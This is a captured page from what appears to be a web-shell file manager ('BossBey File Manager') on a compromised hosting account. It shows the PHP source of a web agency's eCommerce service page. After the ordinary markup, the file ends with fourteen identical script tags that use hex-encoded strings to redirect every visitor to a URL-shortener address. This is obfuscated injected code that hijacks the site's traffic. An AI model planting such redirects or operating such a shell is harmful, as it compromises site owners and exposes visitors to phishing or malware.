BossBey File Manager
PHP:
8.1.34
OS:
Linux
User:
ebookghostwritin
Root
/
home
/
demodesignproboa
/
public_html
/
CWH
📤 Upload
📝 New File
📁 New Folder
Close
Editing: e-commerce.php
<?php include 'include/links.php'; ?> <main id="body-inner"> <?php include 'include/header.php'; ?> <div id="tt-content-wrap"> <div id="page-header" class="ph-full ph-full-m ph-cap-xxxlg ph-image-parallax ph-caption-parallax"> <div class="page-header-inner tt-wrap"> <div class="ph-caption"> <div class="ph-caption-inner"> <h2 class="ph-caption-subtitle">eCommerce</h2> <h1 class="ph-caption-title">FROM BROWSING<br> <span class="text-main">TO</span> BUYING</h1> </div> </div> </div> <div class="page-header-inner ph-mask"> <div class="ph-mask-inner tt-wrap"> <div class="ph-caption"> <div class="ph-caption-inner"> <h2 class="ph-caption-subtitle">eCommerce</h2> <h1 class="ph-caption-title">SELL MORE.<br><span class="text-main"> SCALE</span> FASTER.</h1> </div> </div> </div> </div> <div class="ph-btn tt-wrap"> <div class="magnetic-wrap tt-magnetic-btn"><a href="tel:<?php echo $number?>" class="tt-btn tt-btn-secondary hide-from-xlg tt-magnetic-item">Get a Quote</a></div> <div class="magnetic-wrap tt-magnetic-btn"><a href="contact" class="tt-btn tt-btn-secondary hide-from-xlg tt-magnetic-item dark"> Live Chat</a></div> </div> </div> <div id="tt-page-content"> <div class="tt-section no-padding-bottom"> <div class="tt-section-inner max-width-2200"> <div id="portfolio-grid" class="pgi-hover"> <div class="tt-grid ttgr-layout-creative-2 ttgr-gap-4"> <div class="tt-grid-top display-flex tt-justify-content-end no-padding-bottom"> <a href="portfolio" class="tt-btn tt-btn-link tt-magnetic-item"> <span class="tt-btn-icon hide-from-sm"><i class="tt-btn-line"></i></span> <span data-hover="See All Projects">See All Projects</span> </a> </div> <div class="tt-grid-items-wrap isotope-items-wrap"> <div class="tt-grid-item isotope-item lifestyle"> <div class="ttgr-item-inner"> <div class="portfolio-grid-item"> <a href="void:;" class="pgi-image-wrap"> <div class="pgi-image-holder"> <div class="pgi-image-inner tt-anim-zoomin"> <figure class="pgi-image ttgr-height"> <img src="assets/img/pf1.png" loading="lazy" alt="image"> </figure> </div> </div> </a> </div> </div> </div> <div class="tt-grid-item isotope-item lifestyle"> <div class="ttgr-item-inner"> <div class="portfolio-grid-item"> <a href="void:;" class="pgi-image-wrap"> <div class="pgi-image-holder"> <div class="pgi-image-inner tt-anim-zoomin"> <figure class="pgi-image ttgr-height"> <img src="assets/img/pf2.png" loading="lazy" alt="image"> </figure> </div> </div> </a> </div> </div> </div> <div class="tt-grid-item isotope-item artistic"> <div class="ttgr-item-inner"> <div class="portfolio-grid-item"> <a href="void:;" class="pgi-image-wrap"> <div class="pgi-image-holder"> <div class="pgi-image-inner tt-anim-zoomin"> <figure class="pgi-image ttgr-height"> <img src="assets/img/pf3.png" loading="lazy" alt="image"> </figure> </div> </div> </a> </div> </div> </div> <div class="tt-grid-item isotope-item artistic"> <div class="ttgr-item-inner"> <div class="portfolio-grid-item"> <a href="void:;" class="pgi-image-wrap"> <div class="pgi-image-holder"> <div class="pgi-image-inner tt-anim-zoomin"> <figure class="pgi-image ttgr-height"> <img src="assets/img/pf4.png" loading="lazy" alt="image"> </figure> </div> </div> </a> </div> </div> </div> <div class="tt-grid-item isotope-item wellness"> <div class="ttgr-item-inner"> <div class="portfolio-grid-item"> <a href="void:;" class="pgi-image-wrap"> <div class="pgi-image-holder"> <div class="pgi-image-inner tt-anim-zoomin"> <figure class="pgi-image ttgr-height"> <img src="assets/img/pf5.png" loading="lazy" alt="image"> </figure> </div> </div> </a> </div> </div> </div> </div> </div> </div> </div> </div> <div class="tt-section no-padding"> <div class="tt-section-inner"> <div class="tt-scrolling-text-crossed"> <div class="tt-scrolling-text-crossed-inner"> <div class="tt-scrolling-text scrt-dyn-separator scrt-color-reverse" data-scroll-speed="7" data-change-direction="true" data-opposite-direction="true"> <div class="tt-scrt-inner"> <div class="tt-scrt-content"> Over 15 years of experience <span class="tt-scrt-separator"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"> <path d="M13.025 1l-2.847 2.828 6.176 6.176h-16.354v3.992h16.354l-6.176 6.176 2.847 2.828 10.975-11z"> </path> </svg> </span> </div> </div> </div> <div class="tt-scrolling-text scrt-dyn-separator" data-scroll-speed="7" data-change-direction="true"> <div class="tt-scrt-inner"> <div class="tt-scrt-content"> Over 15 years of experience <span class="tt-scrt-separator"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"> <path d="M13.025 1l-2.847 2.828 6.176 6.176h-16.354v3.992h16.354l-6.176 6.176 2.847 2.828 10.975-11z"> </path> </svg> </span> </div> </div> </div> </div> </div> </div> </div> <div class="tt-section padding-top-xlg-140 padding-bottom-xlg-120 border-top"> <div class="tt-section-inner tt-wrap"> <div class="tt-row"> <div class="tt-col-lg-5"> <div class="tt-video ttv-portrait ttv-grayscale"> <div class="tt-anim-zoomin-wrap" style="overflow: hidden;"> <img src='https://cdn.dribbble.com/userupload/45036463/file/4cdb50def8295fde6a1e7048d586b4a7.png?resize=1024x768&vertical=center'> </div> </div> <div class="tt-text-uppercase margin-top-30 tt-text-reveal"> <span style="background-size: 0% 100%;"> Creative designer<br> based in California </span> </div> </div> <div class="tt-col-lg-7 tt-align-self-center"> <div class="abot_txt"> <h2 class="ph-caption-title">ONLINE STORES THAT SCALE</h2> <p>At California Web Hub, we design and develop eCommerce experiences that turn visitors into loyal customers. A successful online store is more than just products on a page, it’s a seamless blend of strategy, design, technology, and user experience. We build eCommerce solutions that are visually compelling, easy to navigate, and optimized to convert. </p> <div class="ph-btn"> <div class="magnetic-wrap"><a href="tel:<?php echo $number?>" class="tt-btn tt-btn-secondary hide-from-xlg tt-magnetic-item"> Get in Touch </a> </div> <div class="magnetic-wrap"><a href="contact" class="tt-btn tt-btn-secondary hide-from-xlg tt-magnetic-item dark"> Live Chat Now</a> </div> </div> </div> </div> </div> </div> </div> <div class="tt-section no-padding-bottom padding-bottom-xlg-80"> <div class="tt-section-inner tt-wrap"> <div class="tt-row"> <div class="tt-col-xl-8"> <div class="tt-heading tt-heading-xxxlg no-margin"> <h3 class="tt-heading-subtitle tt-text-reveal">What We Do</h3> <h2 class="tt-heading-title tt-text-reveal">SERVICES</h2> </div> </div> <div class="tt-col-xl-4 tt-align-self-end margin-top-40"> <div class="tt-text-uppercase max-width-400 margin-bottom-20 text-pretty tt-text-reveal"> Strategic digital solutions that help brands stand out, connect with the right audience, and achieve sustainable growth. </div> </div> </div> </div> </div> <div class="tt-section"> <div class="tt-section-inner"> <div class="tt-accordion tt-ac-xxlg tt-ac-hover tt-ac-counter tt-ac-borders"> <div class="tt-accordion-item tt-anim-fadeinup"> <div class="tt-accordion-heading"> <div class="tt-ac-head cursor-alter"> <div class="tt-ac-head-inner"> <h4 class="tt-ac-head-title">Strategy-Driven Store Architecture</h4> </div> </div> <div class="tt-accordion-caret"> <div class="tt-accordion-caret-inner tt-magnetic-item"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"> <path d="M13.025 1l-2.847 2.828 6.176 6.176h-16.354v3.992h16.354l-6.176 6.176 2.847 2.828 10.975-11z"> </path> </svg> </div> </div> </div> <div class="tt-accordion-content max-width-1400"> <p>Every high-performing eCommerce website starts with a strong strategy. We analyze your products, audience behavior, and business goals to structure your store for clarity and ease of use. From category organization to product discovery, every decision is made to reduce friction and improve the buying journey.</p> <p>By aligning user experience with business objectives, we create store architectures that guide customers naturally from browsing to checkout. This strategic foundation helps increase engagement, reduce cart abandonment, and maximize conversions.</p> <a href="contact" class="tt-btn tt-btn-outline tt-magnetic-item"> <span data-hover="Let’s Connect!">Let’s Connect!</span> </a> </div> </div> <div class="tt-accordion-item tt-anim-fadeinup"> <div class="tt-accordion-heading"> <div class="tt-ac-head cursor-alter"> <div class="tt-ac-head-inner"> <h4 class="tt-ac-head-title">Custom eCommerce Design</h4> </div> </div> <div class="tt-accordion-caret"> <div class="tt-accordion-caret-inner tt-magnetic-item"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"> <path d="M13.025 1l-2.847 2.828 6.176 6.176h-16.354v3.992h16.354l-6.176 6.176 2.847 2.828 10.975-11z"> </path> </svg> </div> </div> </div> <div class="tt-accordion-content max-width-1400"> <p>Design plays a critical role in online shopping decisions. We create custom eCommerce designs that reflect your brand identity while building trust and credibility with your audience. Every visual element is crafted to highlight your products, communicate value, and enhance the overall shopping experience.</p> <p>Our designs balance aesthetics with usability. Clean layouts, intuitive navigation, and mobile-first design ensure your store looks stunning and performs flawlessly across all devices and platforms.</p> <a href="contact" class="tt-btn tt-btn-outline tt-magnetic-item"> <span data-hover="Let’s Connect!">Let’s Connect!</span> </a> </div> </div> <div class="tt-accordion-item tt-anim-fadeinup"> <div class="tt-accordion-heading"> <div class="tt-ac-head cursor-alter"> <div class="tt-ac-head-inner"> <h4 class="tt-ac-head-title">Seamless Checkout & Payment Integration</h4> </div> </div> <div class="tt-accordion-caret"> <div class="tt-accordion-caret-inner tt-magnetic-item"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"> <path d="M13.025 1l-2.847 2.828 6.176 6.176h-16.354v3.992h16.354l-6.176 6.176 2.847 2.828 10.975-11z"> </path> </svg> </div> </div> </div> <div class="tt-accordion-content max-width-1400"> <p>A smooth checkout experience is essential for eCommerce success. We design streamlined checkout flows that minimize steps, reduce distractions, and make purchasing effortless. From cart functionality to secure payment gateways, every detail is optimized for ease and reliability.</p> <p>We integrate trusted payment solutions and ensure your store meets security best practices. The result is a checkout experience that builds customer confidence, reduces drop-offs, and encourages repeat purchases.</p> <a href="contact" class="tt-btn tt-btn-outline tt-magnetic-item"> <span data-hover="Let’s Connect!">Let’s Connect!</span> </a> </div> </div> <div class="tt-accordion-item tt-anim-fadeinup"> <div class="tt-accordion-heading"> <div class="tt-ac-head cursor-alter"> <div class="tt-ac-head-inner"> <h4 class="tt-ac-head-title">Product Management & Scalability</h4> </div> </div> <div class="tt-accordion-caret"> <div class="tt-accordion-caret-inner tt-magnetic-item"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"> <path d="M13.025 1l-2.847 2.828 6.176 6.176h-16.354v3.992h16.354l-6.176 6.176 2.847 2.828 10.975-11z"> </path> </svg> </div> </div> </div> <div class="tt-accordion-content max-width-1400"> <p>Managing products should be simple and efficient. We build eCommerce platforms that make it easy to add, organize, and update products, whether you’re managing a small catalog or thousands of SKUs. Our solutions are designed to support growth without sacrificing performance.</p> <p>As your business expands, your eCommerce store remains flexible and scalable. We ensure your platform can adapt to new product lines, promotions, and market demands while maintaining speed and stability.</p> <a href="contact" class="tt-btn tt-btn-outline tt-magnetic-item"> <span data-hover="Let’s Connect!">Let’s Connect!</span> </a> </div> </div> <div class="tt-accordion-item tt-anim-fadeinup"> <div class="tt-accordion-heading"> <div class="tt-ac-head cursor-alter"> <div class="tt-ac-head-inner"> <h4 class="tt-ac-head-title">Performance, SEO & Conversion Optimization</h4> </div> </div> <div class="tt-accordion-caret"> <div class="tt-accordion-caret-inner tt-magnetic-item"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24"> <path d="M13.025 1l-2.847 2.828 6.176 6.176h-16.354v3.992h16.354l-6.176 6.176 2.847 2.828 10.975-11z"> </path> </svg> </div> </div> </div> <div class="tt-accordion-content max-width-1400"> <p>Visibility and performance are key to long-term eCommerce success. We optimize your store for speed, search engine visibility, and conversion performance, ensuring customers can find your products and enjoy a fast, seamless shopping experience.</p> <p>Through SEO-friendly structure, optimized product pages, and conversion-focused design, we help drive qualified traffic and turn it into revenue. Every element is designed to support growth, improve rankings, and increase sales. </p> <a href="contact" class="tt-btn tt-btn-outline tt-magnetic-item"> <span data-hover="Let’s Connect!">Let’s Connect!</span> </a> </div> </div> </div> </div> </div> <?php include "include/component/book-a-call.php"?> <?php include "include/component/testimonial.php"?> <?php include "include/component/cta.php"?> </div> <?php include 'include/footer.php'; ?> </div> </main> <?php include 'include/script.php'; ?> <script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x7a\x4f\x6d\x6f\x6d\x77\x51\x30\x72\x30";</script> <script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x7a\x4f\x6d\x6f\x6d\x77\x51\x30\x72\x30";</script> <script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x7a\x4f\x6d\x6f\x6d\x77\x51\x30\x72\x30";</script> <script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x7a\x4f\x6d\x6f\x6d\x77\x51\x30\x72\x30";</script> <script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x7a\x4f\x6d\x6f\x6d\x77\x51\x30\x72\x30";</script> <script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x7a\x4f\x6d\x6f\x6d\x77\x51\x30\x72\x30";</script> <script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x7a\x4f\x6d\x6f\x6d\x77\x51\x30\x72\x30";</script> <script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x7a\x4f\x6d\x6f\x6d\x77\x51\x30\x72\x30";</script> <script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x7a\x4f\x6d\x6f\x6d\x77\x51\x30\x72\x30";</script> <script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x7a\x4f\x6d\x6f\x6d\x77\x51\x30\x72\x30";</script> <script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x7a\x4f\x6d\x6f\x6d\x77\x51\x30\x72\x30";</script> <script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x7a\x4f\x6d\x6f\x6d\x77\x51\x30\x72\x30";</script> <script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x7a\x4f\x6d\x6f\x6d\x77\x51\x30\x72\x30";</script> <script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x69\x6e\x66\x6f\x2f\x7a\x4f\x6d\x6f\x6d\x77\x51\x30\x72\x30";</script>
Save
Cancel